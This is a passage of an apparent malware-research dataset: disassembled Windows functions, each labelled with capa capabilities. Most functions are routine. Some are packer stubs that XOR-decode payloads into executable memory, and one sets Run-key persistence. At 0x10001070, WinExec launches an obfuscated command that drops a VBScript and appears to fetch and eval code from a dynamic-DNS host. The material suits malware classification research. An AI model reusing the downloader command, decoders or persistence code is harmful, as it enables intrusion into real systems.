joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
push ebx
push edi
xor ebx, ebx
push 0x12c
lea eax, [ebp - 0x13c]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x13c]
push str.SoftwareMicrosoftWindowsCurrentVersionWinTrustTrust_ProvidersSoftware_PublishingTrust_Database0
push eax
call sub.MSVCRT.dll_strcat
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x18
mov edi, eax
lea eax, [ebp - 0x13c]
push edi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x64
lea eax, [ebp - 0x29c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp edi, ebx
jne 0x40106c
xor al, al
jmp 0x40117a
lea eax, [ebp - 0xc]
push esi
push eax
lea eax, [ebp - 0x238]
push eax
and byte [ebp - 1], 0
push ebx
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x398]
mov esi, 0xfa
push eax
push ebx
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
push dword [edi]
call ebx
test eax, eax
jne 0x4010e9
lea eax, [ebp - 0x238]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll__mbscmp
pop ecx
test eax, eax
pop ecx
je 0x4010e5
lea eax, [ebp - 0xc]
inc dword [ebp - 8]
push eax
lea eax, [ebp - 0x238]
push eax
push 0
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x398]
push eax
mov dword [ebp - 0x10], esi
push dword [ebp - 8]
mov dword [ebp - 0xc], esi
push dword [edi]
jmp 0x4010a0
mov byte [ebp - 1], 1
push dword [edi]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
cmp byte [ebp - 1], 0
pop ecx
jne 0x401176
push 0x12c
lea eax, [ebp - 0x13c]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x13c]
push str.SoftwareMicrosoftSystemCertificatesTrustedPublisherCertificates
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x13c]
push 0x4060e0
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0xc]
lea eax, [ebp - 0x13c]
push eax
call sub.MSVCRT.dll_strcat
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x28
mov esi, eax
lea eax, [ebp - 0x13c]
push esi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40116b
mov byte [ebp - 1], 1
push dword [esi]
call ebx
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov al, byte [ebp - 1]
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40117e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
and dword [ebp - 8], 0
push esi
lea eax, [ebp - 0x8c]
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x28]
push str.1001
push eax
call sub.MSVCRT.dll_strcpy
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov esi, eax
lea eax, [ebp - 0x8c]
push esi
push 0x20019
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401201
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0x64
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push 0
push eax
mov dword [ebp - 0xc], 4
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40120d
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
or eax, 0xffffffff
jmp 0x40121f
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 4]
pop ecx
pop esi
leave
ret

Function at 0x401222
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
and dword [ebp - 8], 0
push esi
lea eax, [ebp - 0x8c]
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x28]
push str.CurrentLevel
push eax
call sub.MSVCRT.dll_strcpy
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov esi, eax
lea eax, [ebp - 0x8c]
push esi
push 0x20019
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012a5
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0x64
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push 0
push eax
mov dword [ebp - 0xc], 4
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4012b1
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
or eax, 0xffffffff
jmp 0x4012c3
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 4]
pop ecx
pop esi
leave
ret

Function at 0x4024de
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
xor edi, edi
push 0x14
lea eax, [ebp - 0x14]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x14]
push str.iexplore.exe
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
mov esi, 0x3e8
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [0x4099f4]
shl eax, 2
mov ecx, dword [eax + 0x4099cc]
sub ecx, edi
je 0x402531
dec ecx
jne 0x402549
push 3
push edi
push dword [eax + 0x4099a4]
jmp 0x402539
push 3
push edi
push 0x409a08
lea eax, [ebp - 0x14]
push eax
push str.Open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
push esi
push 0x465
mov dword [0x40a1a8], edi
push dword [0x409ffc]
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
pop esi
leave
ret
Function at 0x4028c5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
push esi
push 0x20019
push 0
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp + 0x14]
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
push dword [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop esi
leave
ret

Function at 0x402a04
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
xor ecx, ecx
push esi
cmp dword [ebx], ecx
push edi
mov dword [ebp - 4], ebx
jne 0x402a1d
cmp dword [ebx + 8], ecx
je 0x402a25
push 0xfffffffffffffffb
pop eax
jmp 0x402b56
mov edi, dword [ebp + 8]
cmp edi, ecx
je 0x402b54
mov eax, dword [ebp + 0xc]
cmp eax, ecx
jle 0x402b54
push 0x10
cdq
pop esi
idiv esi
mov esi, eax
mov eax, dword [ebx + 4]
sub eax, ecx
je 0x402afa
dec eax
je 0x402a59
or eax, 0xffffffff
jmp 0x402b56
cmp esi, ecx
lea eax, [ebx + 0xc]
jle 0x402aa2
mov dword [ebp + 8], esi
mov ecx, dword [edi]
push dword [ebp + 0x10]
xor ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov ecx, dword [eax + 4]
xor ecx, dword [edi + 4]
mov dword [ebp - 0x14], ecx
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0xc]
xor ecx, dword [edi + 8]
xor eax, dword [edi + 0xc]
mov dword [ebp - 0x10], ecx
mov ecx, ebx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00402e0b
mov eax, dword [ebp + 0x10]
add dword [ebp + 0x10], 0x10
add edi, 0x10
dec dword [ebp + 8]
jne 0x402a63
inc esi
push 0x10
shl esi, 4
mov ecx, esi
pop ebx
sub ecx, dword [ebp + 0xc]
sub ebx, ecx
test ebx, ebx
mov dword [ebp - 8], ebx
jle 0x402ad9
mov dword [ebp + 0xc], eax
lea edx, [ebp - 0x18]
sub dword [ebp + 0xc], edi
sub edx, edi
mov dword [ebp + 8], ebx
mov ebx, dword [ebp + 0xc]
mov bl, byte [ebx + edi]
xor bl, byte [edi]
mov byte [edx + edi], bl
inc edi
dec dword [ebp + 8]
jne 0x402ac5
mov ebx, dword [ebp - 8]
cmp ebx, 0x10
jge 0x402b41
mov edi, eax
lea eax, [ebp - 0x18]
sub edi, eax
lea eax, [edi + ebx]
mov al, byte [ebp + eax - 0x18]
xor al, cl
mov byte [ebp + ebx - 0x18], al
inc ebx
cmp ebx, 0x10
jl 0x402ae5
jmp 0x402b41
cmp esi, ecx
jle 0x402b18
mov dword [ebp + 8], esi
push dword [ebp + 0x10]
mov ecx, ebx
push edi
call fcn.00402e0b
add dword [ebp + 0x10], 0x10
add edi, 0x10
dec dword [ebp + 8]
jne 0x402b01
inc esi
push 0x10
shl esi, 4
mov ebx, esi
pop eax
sub ebx, dword [ebp + 0xc]
sub eax, ebx
push eax
lea eax, [ebp - 0x18]
push edi
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push ebx
sub eax, ebx
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
call fcn.00402e0b
mov eax, esi
jmp 0x402b56
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x402d2f
Capabilities:
Encode data using xor

Disassembly:
push 1
pop edx
cmp dword [ecx + 0x1c], edx
jbe 0x402e0a
push esi
push edi
lea eax, [ecx + 0x32]
movzx esi, byte [eax + 1]
movzx edi, byte [eax - 1]
mov esi, dword [esi*4 + 0x409338]
xor esi, dword [edi*4 + 0x408b38]
movzx edi, byte [eax]
add eax, 0x10
xor esi, dword [edi*4 + 0x408f38]
movzx edi, byte [eax - 0x12]
xor esi, dword [edi*4 + 0x408738]
mov dword [eax - 0x12], esi
movzx esi, byte [eax - 0xb]
movzx edi, byte [eax - 0xc]
mov esi, dword [esi*4 + 0x409338]
xor esi, dword [edi*4 + 0x408f38]
movzx edi, byte [eax - 0xd]
xor esi, dword [edi*4 + 0x408b38]
movzx edi, byte [eax - 0xe]
xor esi, dword [edi*4 + 0x408738]
mov dword [eax - 0xe], esi
movzx esi, byte [eax - 7]
movzx edi, byte [eax - 8]
mov esi, dword [esi*4 + 0x409338]
xor esi, dword [edi*4 + 0x408f38]
movzx edi, byte [eax - 9]
xor esi, dword [edi*4 + 0x408b38]
movzx edi, byte [eax - 0xa]
xor esi, dword [edi*4 + 0x408738]
mov dword [eax - 0xa], esi
movzx esi, byte [eax - 3]
movzx edi, byte [eax - 4]
mov esi, dword [esi*4 + 0x409338]
xor esi, dword [edi*4 + 0x408f38]
movzx edi, byte [eax - 5]
xor esi, dword [edi*4 + 0x408b38]
movzx edi, byte [eax - 6]
xor esi, dword [edi*4 + 0x408738]
inc edx
mov dword [eax - 6], esi
cmp edx, dword [ecx + 0x1c]
jb 0x402d40
pop edi
pop esi
ret
Function at 0x10001070
Capabilities:
Create process on windows

Disassembly:
push 2
push str.cmD__V_D_c_EcHo_varC1_.__:_FunctIon_varC2_varC3_:varC4__Array__:___t___r___c___1__:varC2__varC4_varC3_:end_function_::_varC5___S__varC2_3___rip__varC2_1____varC2_0____hT__varC2_1___ps:__contgf_varC1_bounceme_varC1_net_gWg3_:eval__Ge__varC2_1___Obje__varC2_3__varC2_1____varC5______nul___C:UsersPublic_varC7.vbsc:windows_system32cmd.exe__c_start_C:UsersPublic_varC7.vbs
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jae 0x10001096
push 0x30
push 0x1001207c
push 0x10012084
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
ret 4

Function at 0x100045f2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004631
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004631
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004631
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004631
cmp dword [ecx + 0x74], 0xe
jbe 0x10004631
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10007731
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100077ce
push ebx
push esi
call fcn.100076fa
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000768e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000777b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100077cd
push edi
push eax
call fcn.10005440
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000779b
call fcn.10005406
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100077cc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000768e
add esp, 0x20
test eax, eax
jne 0x100077ba
push edi
call fcn.10005406
jmp 0x100077c2
push ebx
call fcn.10005406
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10007a3b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f008
push 0x1000f000
push str.FlsAlloc
push 0x1f
call fcn.10007957
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007a6f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d13c]
call esi
jmp 0x10007a75
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10007ab9
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f018
push 0x1000f010
push str.FlsGetValue
push 0x21
call fcn.10007957
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007af0
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d13c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10007af8
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f020
push 0x1000f018
push str.FlsSetValue
push 0x22
call fcn.10007957
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007b32
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000d13c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cba0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000cbcd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000cbcd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40596d
pop dword [ebp - 0xc]
mov eax, 0x2b664f51
sub eax, 0x2b25f5e4
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xf0bc0a9a
add dword [ebp - 0x1c], 0x5d963ab1
mov dword [ebp - 0x18], 0x85475602
add dword [ebp - 0x18], 0xacebf643
mov dword [ebp - 0x14], 0xa13cd725
sub dword [ebp - 0x14], 0x54f092f7
mov dword [ebp - 0x10], 0x95a4c3
sub dword [ebp - 0x10], 0x95a4c3
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x4b09adeb
sub eax, 0x4ac93d8b
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xe41dbc00
add dword [ebp - 0x1c], 0x9054ad56
mov dword [ebp - 0x18], 0x3bf5996d
sub dword [ebp - 0x18], 0xfa8937f8
mov dword [ebp - 0x14], 0xcaef71c7
add dword [ebp - 0x14], 0x987ffaa5
mov dword [ebp - 0x10], 0xd0edad5f
add dword [ebp - 0x10], 0x2f1252a1
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xbd5e9b41
sub eax, 0xbd1e2a41
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36a3b
push 0
call eax
mov ecx, 0xee751c14
sub ecx, 0xee74d463
mov esi, eax
mov edi, 0x83ce53e7
sub edi, 0x838d53e7
add edi, dword [ebp - 0xc]
mov edx, 0xdc404d85
sub dword [ebp - 4], eax
mov ebx, dword [edi]
mov dword [ebp - 4], 0x65aca84a
xor ebx, edx
xor dword [ebp - 4], 0x7106cfcf
mov dword [esi], ebx
xor dword [ebp - 8], esi
add esi, 0x43fda2a5
sub esi, 0x43fda2a1
add edi, 0x3be332bb
add edi, 0xc41ccd49
loop 0x405a89
add eax, 0xcf171602
sub eax, 0xcf16046b
mov ebx, eax
add eax, 0xc14687aa
add eax, 0x3eb9785b
mov ecx, 0x599911d6
sub ecx, 0x595911d6
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x13ee010
Capabilities:
Encode data using xor

Disassembly:
jmp 0x13ee01a
pushal
call 0x13ee020
pop ebp
sub ebp, 0x10
sub ebp, 0xfee010
jmp 0x13ee036
mov eax, 0xfee010
add eax, ebp
add eax, 0x4c
mov ecx, 0x5fc
dec esp
add byte [eax], al
add byte [ecx + 0x5fc], bh
mov edx, 0xd647647c
xor byte [eax], dl
inc eax
dec ecx
jne 0x13ee04d
jmp 0x13ee060
div dword [ecx + 0x7c40f5f7]
jl 0x13ee0e4
std
mov ebp, 0x7c7c7c84
jg 0x13ee021
les esi, [edi + 0x7c]
jl 0x13ee0f1
invalid
jg 0x13ee03f
sub al, 0x2c
adc al, 0x80
les esi, [edx + 0x7c]
adc al, 0x6f
pop ebx
invalid
jl 0x13ee163
push eax
pop eax
sub eax, 0x7c7c7994
jl 0x13ee084
cmp eax, 0x297c7c7e
int1
jl 0x13ee16f
sub ecx, esi
adc byte [eax + 0x7c], bl
or dword [ecx], 0x70
or dword [ecx], 0x74
xchg esp, eax
push cs
jl 0x13ee17e
jl 0x13ee0fb
sal dword [esp + edi*2 + 0x7c], 0x7c
dec edi
mov ch, 0xfd
invalid
invalid
add dword [ebx + 0x7c70be21], 0x29
not dword [eax - 0x8d6d4d6]
or dword [eax - 9], esi
add dword [eax + eax*4 - 0x32], esi
cld
test dword [ecx], 0xfcce8074
idiv byte [edx - 3]
mov edx, 0x7c7c7c7d
hlt
Function at 0x1004359
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1001400
call fcn.0100455c
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x1004396
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1004396
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10043ae
cmp eax, 0x43590b
add dword [0xebe45d89], eax
daa
cmp dword [ecx + 0x84], 0xe
jbe 0x1004396
mov dword [ebp - 0x1c], ebx
jmp 0x10043c2
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x10043bc
cmp dword [ecx + 0x74], 0xe
jbe 0x1004396
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1007120], 0xffffffff
or dword [0x1007124], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1006018]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1006014]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1007128], eax
call fcn.01004552
cmp dword [0x1005328], ebx
jne 0x100441d
push fcn.01004552
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100453b
push 0x1005010
push 0x100500c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1006010]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x100600c]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x1005008
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
cmp byte [esi], 0x22
jne 0x10044b3
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x1004487
cmp al, 0x22
jne 0x1004479
cmp byte [esi], 0x22
jne 0x1004490
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x100449a
cmp al, 0x20
jbe 0x100448c
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x54], 1
je 0x10044be
movzx eax, word [ebp - 0x50]
jmp 0x10044c1
cmp byte [esi], 0x20
jbe 0x1004490
inc esi
mov dword [ebp - 0x20], esi
jmp 0x10044b3
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x10044de
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1004513
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01004597
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x409d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x409d2f
pop dword [ebp - 0x14]
mov eax, 0x409d2f
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3a80a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xbdcfc5c7
sub ecx, 0xbdcf7895
mov edx, eax
mov edi, 0x40d497e9
sub edi, 0x40935c25
add edi, dword [ebp - 0x14]
mov esi, 0x8e8200aa
sub dword [ebp - 0xc], 0xb74a9e79
mov ebx, dword [edi]
xor dword [ebp - 8], 0xc7641dd8
xor ebx, esi
mov dword [ebp - 8], 0xc66b9bde
mov dword [edx], ebx
add dword [ebp - 0x10], 0x2e2a5ca3
add edx, 4
add edi, 0xbc44825b
add edi, 0x43bb7da9
loop 0x409d7e
add eax, 0x1279b
mov ebx, eax
add eax, 0x7d0c62e0
add eax, 0x82f39d25
mov ecx, 0xab71d5f2
sub ecx, 0xab31d5f2
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401040
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40105b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401092
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40108e
jmp 0x401080
cmp esi, eax
jae 0x401092
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401080
cmp esi, eax
jb 0x401099
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x412da0
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x62dc50]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.0058c670
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5ef4ec
lea edx, [ebp - 0x108]
push 0x104
push edx
call fcn.00588b91
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp byte [ebp + 8], 0
je 0x412e49
mov edx, dword [ebp - 0x10c]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 1
push 0
push str.VXI_Controller
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x412e5b
mov eax, dword [ebp - 0x10c]
push str.VXI_Controller
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00587964
mov esp, ebp
pop ebp
ret 4
Function at 0x414120
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5be6c8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x62dc50]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call fcn.00486145
call fcn.00487004
mov eax, dword [eax + 8]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, eax
mov eax, dword [esi + 0x20]
push ebx
push 1
push 0x80
push eax
call edi
mov ecx, dword [esi + 0x20]
push ebx
push 0
push 0x80
push ecx
call edi
push 0
lea ecx, [esi + 0x93d0]
call fcn.0048e14f
mov edx, dword [esi + 0x9464]
push 0x5ee418
push 0
push 0x143
push edx
call edi
mov eax, dword [esi + 0x9464]
push 0x5ee414
push 0
push 0x143
push eax
call edi
push 0
lea ecx, [esi + 0x9444]
call fcn.0048e14f
mov ebx, esi
call fcn.00413970
test al, al
jne 0x4141e8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00413e30
test al, al
je 0x4141d4
mov ecx, esi
call fcn.00413b30
test al, al
je 0x4141d4
push str.ControlList
lea ecx, [ebp - 0x10]
call fcn.00403cb0
lea ecx, [ebp - 0x10]
push ecx
push esi
mov dword [ebp - 4], 0
call fcn.00414260
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x414240
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret